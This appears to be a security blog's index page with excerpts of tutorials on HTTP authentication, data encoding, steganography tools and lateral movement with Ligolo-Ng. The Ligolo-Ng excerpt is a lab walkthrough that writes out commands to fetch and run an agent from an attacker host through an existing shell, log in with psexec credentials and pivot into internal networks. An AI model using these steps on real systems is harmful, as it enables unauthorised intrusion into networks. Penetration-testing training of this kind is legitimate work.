At Deepwatch, " Empowering Your Digital Defense, Ensuring Your Peace of Mind"

Blog

Understanding HTTP Authentication Basic and Digest

Understanding HTTP Authentication Basic and Digest

HTTP authentication uses methodologies via which web servers and browsers securely exchange credentials like usernames and passwords. HTTP authentication or we can also call it as Digest Authentication follows the predefined methods/standards which use encoding techniques and MD5 cryptographic hashing over HTTP protocol. In this article, we are covering the methodologies/standards used for HTTP Authentication. For the sake of understanding, we will be using our php scripts that will simply capture user name and passwords and we will generate the Authorization value as per the standards. For http codes visit here Basic Access Authentication using Base 64 Encoding In basic Authentication, we will be using base 64 encoding for generating our cryptographic string which contains the information of username and password. Please note we can use any of the encoding techniques like URL, Hexadecimal, or any other we want. The below example illustrates the concept, we are using Burpsuite for capturing and illustrating the request. The webpage is asking for input from the client We are providing “hackingarticles” as User Name and “ignite” as a password. The syntax of Basic Authentication Value = username:password Encoded Value =  base64(Value) Authorization Value = Basic <Encoded Value>  In basic authentication username and password are combined into a single string using a colon in between. Value =  hackingarticles:ignite This string is then encoded using base 64 encoding. Encoded Value = base64 encoded value of hackingarticles:ignite which is aGFja2luZ2FydGljbGVzOmlnbml0ZQ== Finally, the Authorization Value is obtained by putting the text “Basic” followed by <space> before the encoded value. (We can capture the request using burpsuite to see the result) The Authorization Value for this example is “Basic aGFja2luZ2FydGljbGVzOmlnbml0ZQ==“. This is the value which is sent to the server.   Finally, the server is decrypting the authorization value and returning the entered credentials Basic Authentication is a less secure way because here we are only using encoding and the authorization value can be decoded, In order to enhance the security we have other standards discussed further. RFC 2069 Digest Access Authentication Digest Access Authentication uses the hashing methodologies to generate the cryptographic result. Here the final value is sent as a response value. RFC 2069 authentication is now outdated now and RFC2617 which is an enhanced version of RFC2069 is being used.  For the sake of understanding the syntax of RFC 2069 is explained below. Syntax of RFC2069 Hash1=MD5(username:realm:password) Hash2=MD5(method:digestURI) response=MD5(Hash1:nonce:Hash2) Hash1 contains the MD5 hash value of (username:realm:password) where the realm is any string provided by server and username and passwords are the input provided by the client. Hash2 contains the MD5 hash value of (method:digestURI) where a method could be got or post depending on the page request and digestURI is the URL of the page where the request is being sent.  the response is the final string which is being sent to the server and contains the MD5 hash value of (hash1:nounce:hash2) where hash1 and hash2 have generated above and nonce is an arbitrary string that could be used only one time provided by the server to the client. RFC 2617 Digest Access Authentication RFC 2617 digest authentication also uses MD5 hashing algorithm but the final hash value is generated with some additional parameters Syntax of RFC2617 Hash1=MD5(username:realm:password) Hash2=MD5(method:digestURI) response=MD5(Hash1:nonce:nonceCount:cnonce:qop:Hash2) Hash1 contains the MD5 hash value of (username:realm:password) where realm is any string Provided by server and username and passwords are the input provided by the client. Hash2 contains the MD5 hash value of (method:digestURI) where a method could get or post depending on the page request and digestURI is the URL of the page where the request is being sent.  the response is the final string which is being sent to the server  and contains the MD5 hash value of (Hash1:nonce:nonceCount:cnonce:qop:Hash2) where Hash1 and Hash2 are generated above and for more details on other parameters refer to ” https://technet.microsoft.com/en-us/library/cc780170(v=ws.10).aspx” The actual working of RFC2617 is described below The webpage is asking for input from the client We are providing “guest” as User Name and “guest” as a password. Through burpsuite, we are capturing the request so that all the parameters could be captured and we can compare the hash values captured with the hash values that we will generate through any other tool (hash calculator in this case). We have captured the values for the following parameters realm=”Hacking Articles”, nonce=”58bac26865505″, uri=”/auth/02-2617.php”, opaque=”8d8909139750c6bd277cfe1388314f48″, qop=auth, nc=00000001, cnonce=”72ae56dde9406045″ , response=”ac8e3ecd76d33dd482783b8a8b67d8c1″, Hash1 Syntax=MD5(username:realm:password) hash1 =  md5(guest:Hacking Articles:guest) The MD5 hash value is calculated as 2c6165332ebd26709360786bafd2cd49 Hash2 Syntax =MD5 (method:digestURI) Hash2=MD5 (GET:/auth/02-2617.php) MD5 hash value is calculated as b6a6df472ee01a9dbccba5f5e6271ca8 response Syntax =  MD5(Hash1:nonce:nonceCount:cnonce:qop:Hash2) response = MD5(2c6165332ebd26709360786bafd2cd49:58bac26865505:00000001:72ae56dde9406045:auth:b6a6df472ee01a9dbccba5f5e6271ca8) MD5 hash is calculated as  ac8e3ecd76d33dd482783b8a8b67d8c1 Finally, the response value obtained through the hash calculator is exactly the same as that we have captured with burp suit above.  Finally, the server is decrypting the response value and the following is the result

Read More
Understanding Encoding (Beginner’s guide)

Understanding Encoding (Beginner’s guide)

This article will describe the different types of processes involved in encoding of data. The term encoded data means wrapped data and the process of encoding is used to transform the data into a different format so that it can be easily understood by different types of systems. For example, ASCII characters are encoded through numbers ‘A’ is represented with 65, whereas ‘B’ with 66 and so on. As we know computers do not understand human languages therefore we need to encode the data into binary language which is easily readable by computer systems hence encoding is very important. It utilises such schemes that are widely available so that it can simply be reversed. Encoding means data transformation, not data encryption consequently it does not need a key in decoding. URL Encoded The internet only accepts URL’s in ASCII format, URL encoding entails encoding certain parts of the URL character set. This process takes one character and converts it into a character triplet that has a prefix of “%” followed by two digits in hexadecimal format.  Character Encoded : %3A / %2F # %23 ? %3F & %24 @ %40 % %25 + %2B <space> %20 ; %3B = %3D $ %26 , %2C <  %3C >  %3E ^ %5E ` %60 %5C [ %5B ] %5D { %7B } %7D | %7C “ %22 Example : Original URL: http://www.hackingarticles.in Encoded URL: http%3A%2F%2Fwww.hacking articles.in  Hexadecimal Hexadecimal or Base 16 is a positional number system which consists of 16 distinct symbols which range from 0 to 9 in numerals and both upper and lowercase alphabets which range from A to F which represent numeric values 10 to 15 Step 1 – is to get the decimal value of an alphabet, this is different for both upper and lower case, eg: A = 65 and a = 97. To find the value of any alphabet, we count down to it from ”A” or “a”, the values are in single-digit succession, eg: A = 65 B = 66 C = 67 and so on / a = 97 b = 98 c = 99 and so on. Step 2 – To convert from decimal to hexadecimal, take the decimal value and divide it by 16, the hex value will be written beginning from the quotient all the way up to the remainder. So, the hex value of 97 will be 61. Eg: 16 97 1   6 6 Source R a j Decimal Value 82 97 106 Hexadecimal value 52 61 6a  Base64 Each base64 digit represents exactly 6 bits of data.Is a radix-64 representation of ASCII string, here’s how we get it?  Step 1 – is to get the decimal value of an alphabet, this is different for both upper and lower case, eg: A = 65 and a = 97. In order to find the value of any alphabet, we count down to it from”A” or “a”, the values are in single digit succession, eg: A = 65 B = 66 C = 67 and so on / a = 97 b = 98 c = 99 and so on. Step 2 – is to divide the decimal value by 2, where ever there is a reminder it is denoted as “1” and wherever the remainder is “0”, it is denoted as “0”, continue to divide till you reach 0 or 1 and cannot divide any further. The binary value will be the denoted 1’s and 0’s counted from last to first. Eg: To get an 8-bit value we prefix a “0” to the value, eg: 01010010 and this gives us the binary value of “a”. 2 97 1 2 48 0 2 24 0 2 12 0 2 6 0 2 3 1   1 1 Step 3 – Write the values of all the characters in binary and make pairs of 6 (6-bit), eg: the binary value of “Raj” in 8-bit = 010100 100110 000101, a binary value of “Raj” in 6-bit = 010100 100110 000101 101010. Step 4 – Write the 6-bit decimal value of the pairs we make in Step 3 and add all the values where we have 1’s 32 16 8 4 2 1   0 1 0 1 0 0 20 1 0 0 1 1 0 38 0 0 0 1 0 1 5 1 0 1 0 1 0 42 Step 5 – Use the Base64 table to lookup the values we get in Step 4. The Base64 index table: Value Char   Value Char   Value Char   Value Char 0 A 16 Q 32 g 48 w 1 B 17 R 33 h 49 x 2 C 18 S 34 i 50 y 3 D 19 T 35 j 51 z 4 E 20 U 36 k 52 0 5 F 21 V 37 l 53 1 6 G 22 W 38 m 54 2 7 H 23 X 39 n 55 3 8 I 24 Y 40 o 56 4 9 J 25 Z 41 p 57 5 10 K 26 a 42 q 58 6 11 L 27 b 43 r 59 7 12 M 28 c 44 s 60 8 13 N 29 d 45 t 61 9 14 O 30 e 46 u 62 + 15 P 31 f 47 v 63 /  The Base64 encoded value of Raj is UmFq. Encoded in ASCII, the characters R, a, and j are stored as decimal values 82, 97, and 106, their 8-bit binary values are 01010010, 01100001, and 01101010. These three values are joined together into a 24-bit string, producing 010100100110000101101010. Groups of 6 are converted into individual numbers from left to right. While converting from 8-bit to 6-bit, 0’s are added to fill the last slots, so that a full pair of 6 can be made. The full conversion of “Raj” to Base64 is shown in Table 1.1 and the individual conversion of “R” and “Ra” of “Raj” are shown in Tables 1.1 and 1.2 to show a breakdown of the process with explanation Raj                                               82 97 106                             01010010 01100001 01101010 In the Table 1.2, for character “R” of “Raj”, the

Read More
The Art of Concealing

The Art of Concealing

In this post, we will introduce the multiple ways for hiding any text that are based on Audio, Image, Video and White text. For achieving this we will use a method that is known as “Steganography”. The term steganography refers to the technique of hiding secret data within an ordinary, non-secret, file or message to avoid detection. So here we will check all those methods that can help us to do the same. Table of Content Introduction Purpose of steganography Methods of steganography Audio-based steganography Image-based steganography Video-based steganography White text Steganography Introduction Steganography is the practice of hiding a file, message, image or video in another file like a message video or audio. In general, the hidden message seems like something else like pictures, articles and sometimes a shopping list. While the practice of encryption is to protect the content of a message alone, the style of steganography both concerns the disclosure and content of a secret message. Steganography covers data concealed in computer files. So, let’s understand this in a better way with the examples. First, let’s understand what is the purpose of steganography. Purpose of Steganography Effective communication is steganography. At first, you can encrypt and hide a private file inside a picture of another file type before sending it to somebody else. The likelihood of being intercepted will reduce. If you send any encrypted file to someone the other person will try to decrypt it in many ways and possibly, he will be able to do so. But in this case, it will reflect a normal image and the other person will have no hint of what can be there on the other side of the picture. So, it is always a better and safer way of communication for those organisations where they want to protect their selves from these kinds of attacks. So, let’s start and see how it works. Audio Steganography First, we will install a software named deep sound which is meant to convert all our audio files to some other format files. For installation please visit the link given below https://deepsound.en.uptodown.com/windows Conceal Approach: Now open the application click on open carrier files and select an mp3 file behind which you want to conceal the original file. Here we have selected an audio file behind which we will hide the data as we have done. After selecting the file, we will now click on add secret file and give any file here that we want to conceal. Here we have opted for a document file. Here you can further add one more extra security layer which is encoding by putting a password to the file. As you can see we have given 123 as a password without which it won’t be possible for the other person to open the file. The file is created successfully. Now we can share this mp3 file with the other person to continue the hidden communication in the network. Reveal Approach: The person also needs to open this with the same password we had given for encoding. As the other person enters the password, he will be able to see the concealed content of the file by clicking on extract files. As the other person enters the password, he will be able to see the concealed content of the file by clicking on extract files and the doc file is extracted successfully. So, with this tool, we have successfully concealed our doc file behind the mp3 file. Image Steganography Let’s now hide some text files behind an image file. So, we have installed the next tool which is OpenStego. Conceal Approach:  we will first select the doc file we want to hide after that we will add the image file behind which we will conceal the doc file and then we will choose a password and the concealed file is created. Reveal Approach: Now we will extract the doc file by adding the image and then giving the right password and we have extracted the doc file. Video Steganography Now let’s see how we can hide anything behind a Video file. For this, we will install the tool Our Secret from the link given here. https://oursecret.soft112.com/ Once it is downloaded successfully. We will now be trying to conceal a doc file behind a video file. Let’s start. Hide: So first we will select a video which went to send. So, by clicking on Select a carrier file we will choose our video and then that file which we want to hide and then give it a password and click on hide and our new file is created. Unhide: Now we will try to open this file with the same tool for unhiding and it will ask for the password. Once you will enter the password, we will get the concealed file here. Text Steganography Now we are moving towards a new idea of white space steganography. In this kind of steganography, we will hide text behind the text which will be not possible for anyone to judge. For this, we will visit a website www.spammimimc.com Conceal Approach: Here we will click on encode and add the text which you want to hide and click on encode. As you click on encode you will see that a new text-encoded file is created. Reveal Approach: To decode this encoded text, we will copy this text and paste it in the box given and click on decode. And finally, you will get the message which was hidden behind that. Another Method Conceal Approach: That’s not all! We can also send this message as an Excel file which is hard to detect for anyone. To use this feature, we will click on “encode as a spreadsheet” enter the text which you want to conceal and click on encode. Then this generates a new Excel file to conceal our “secret message” behind its record. When we open this Excel file it seems a very normal Excel file by which no one will get to know the real message behind that. Reveal: But as we know there is a hidden file behind this so we

Read More
A Detailed Guide on Ligolo-Ng

A Detailed Guide on Ligolo-Ng

This comprehensive guide delves into the intricacies of Lateral Movement utilizing Ligolo-Ng, a tool developed by Nicolas Chatelain. The Ligolo-Ng tool facilitates the establishment of tunnels through reverse TCP/TLS connections using a tun interface, avoiding the necessity of SOCKS. This guide covers various aspects, from the tool’s unique features to practical applications such as single and double pivoting within a network. Download Ligolo-Ng: Ligolo-Ng can be downloaded from the official repository: Ligolo-Ng Releases. Table of Contents: Ligolo-Ng Overview: Ligolo-Ng is a lightweight and efficient tool designed to enable penetration testers to establish tunnels through reverse TCP/TLS connections, employing a tun interface. Noteworthy features include its GO-coded nature, VPN-like behavior, customizable proxy, and agents in GO. The tool supports multiple protocols, including ICMP, UDP, SYN stealth scans, OS detection, and DNS Resolution, offering connection speeds of up to 100 Mbits/sec. Ligolo-Ng minimizes maintenance time by avoiding tool residue on disk or in memory. Ligolo V/S Chisel: Lab Setup Follow the step-by-step guide for lateral movement within a network, covering both single and double pivoting techniques. Prerequisites Obtain the Ligolo ‘agent’ file for Windows 64-bit and the ‘proxy’ file for Linux 64-bit. Install the ‘agent’ file on the target machine and the ‘proxy’ file on the attacking machine (Kali Linux). Setting up Ligolo-Ng Step 1: Following the acquisition of both the agent and proxy files, the next step involves the setup of Ligolo-Ng. To ascertain the current status of Ligolo-Ng configuration, the ‘ifconfig’ command is employed. To initiate activation, execute the prescribed sequence of commands as follows: ip tuntap add user root mode tun ligolo ip link set ligolo up Verify Ligolo-Ng activation with: ‘ifconfig’ command Step2: Unzip the Ligolo proxy file: tar -xvzf ligolo-ng_proxy_0.5.1_linux_amd64.tar.gz This proxy file facilitates the establishment of a connection through Ligolo, enabling us to execute subsequent pivoting actions. To explore the full range of options available in the proxy file, utilize the ‘help’ command ./proxy -h Step 3: The options displayed in the preceding image are designed for incorporating various types of certificates with the proxy. The chosen approach involves utilizing the ‘-selfcert’ option, which operates on port 11601. Execute the provided command, as illustrated in the accompanying image below: ./proxy -selfcert Step 4: By executing the aforementioned command, Ligolo-Ng becomes operational on the attacking machine. Subsequently, to install the Ligolo agent on the target machine, unzip the ligolo agent file using the command: unzip ligolo-ng_agent_0.5.1_windows_amd64.zip To facilitate the transmission of this agent file to the target, establish a server with the command: updog -p 80 Step 5: In the context of lateral movement, a session has been successfully acquired through netcat. Utilizing the established netcat connection, the next step involves downloading the Ligolo agent file onto the target system. Referencing the image below, execute the provided sequence of commands: cd Desktop powershell wget 192.168.1.5/agent.exe -o agent.exe dir Step 6: Evidently, the agent file has been successfully downloaded. Given that the proxy file is presently operational on Kali, the subsequent action involves executing the agent file. ./agent.exe -connect 192.168.1.5:11601 -ignore-cert Upon executing the specified command, a Ligolo session is initiated. Subsequently, employ the ‘session’ command, opting for ‘1’ to access the active session. Following the session establishment, execute the ‘ifconfig’ command as illustrated in the provided image. Notably, it discloses the existence of an internal network on the server, denoted by the IPv4 Address 192.168.148.130/24. This discovery prompts further exploration into creating a tunnel through this internal network in the subsequent steps. Single Pivoting In the single pivoting scenario, the aim is to access Network B while staying within the boundaries of Network                                  Attempting a direct ping to Network B reveals, as illustrated in the image below, the impossibility due to different network configuration. To progress towards the single pivoting objective, a new terminal window will be opened. Subsequently, the internal IP will be added to the IP route, and the addition will be confirmed, as illustrated in the image below, utilizing the following commands: ip route add 192.168.148.0/24 dev ligolo ip route list Return to the Ligolo proxy session window and initiate the tunneling process by entering the ‘start’ command, as demonstrated in the provided image. Upon establishing a tunnel into network B, we executed the netexec command to scan the network B subnet, unveiling an additional Windows 10 entity distinct from DC1, as depicted in the image. Upon attempting to ping the IP now, successful ping responses will be observed, a contrast to the previous unsuccessful attempts. Additionally, a comprehensive nmap scan can be conducted, as illustrated in the image below. Double Pivoting In the process of double pivoting, our objective is to gain access to Network C from Network A, utilizing Network B as an intermediary. From the newly opened terminal window, utilize the Impacket tool to access the identified Windows 10 with the IP 192.168.148.132. Following this, execute the subsequent set of commands to download the Ligolo agent onto Windows 10 Impacket-psexec administrator:123@192.168.148.132 cd c:\users\public powershell wget 192.168.1.5/agent.exe -o agent.exe dir Subsequently, initiate the execution of the agent.exe. Upon completion, a session will be established, given that our Ligolo proxy file is already operational. agent.exe -connect 192.168.1.5:11601 -ignore-cert Examine Ligolo-ng proxy server, a new session, corresponding to Windows 10, will be present, as indicated in the accompanying image. Execute the ‘start’ command to initiate additional tunnelling. Execute the ‘session’ command to display the list of sessions. Navigate through the sessions using arrow keys, selecting the desired session for access. In this instance, the aim is to access the latest session, identified as session 2. Select this session and utilize the ‘ifconfig’ command to inspect the interfaces. This action reveals an additional network C interface with the address 192.168.159.130/24, mirroring the details depicted in the image below. Upon identifying the new network, the initial step involves attempting a ping. However, the image below indicates an absence of connectivity between Kali and the network C. Add the Network C Subnet in the IP route list with the following command. ip

Read More

Copyright @2024 Deepwatch. All Rights Reserved.

× Live Chat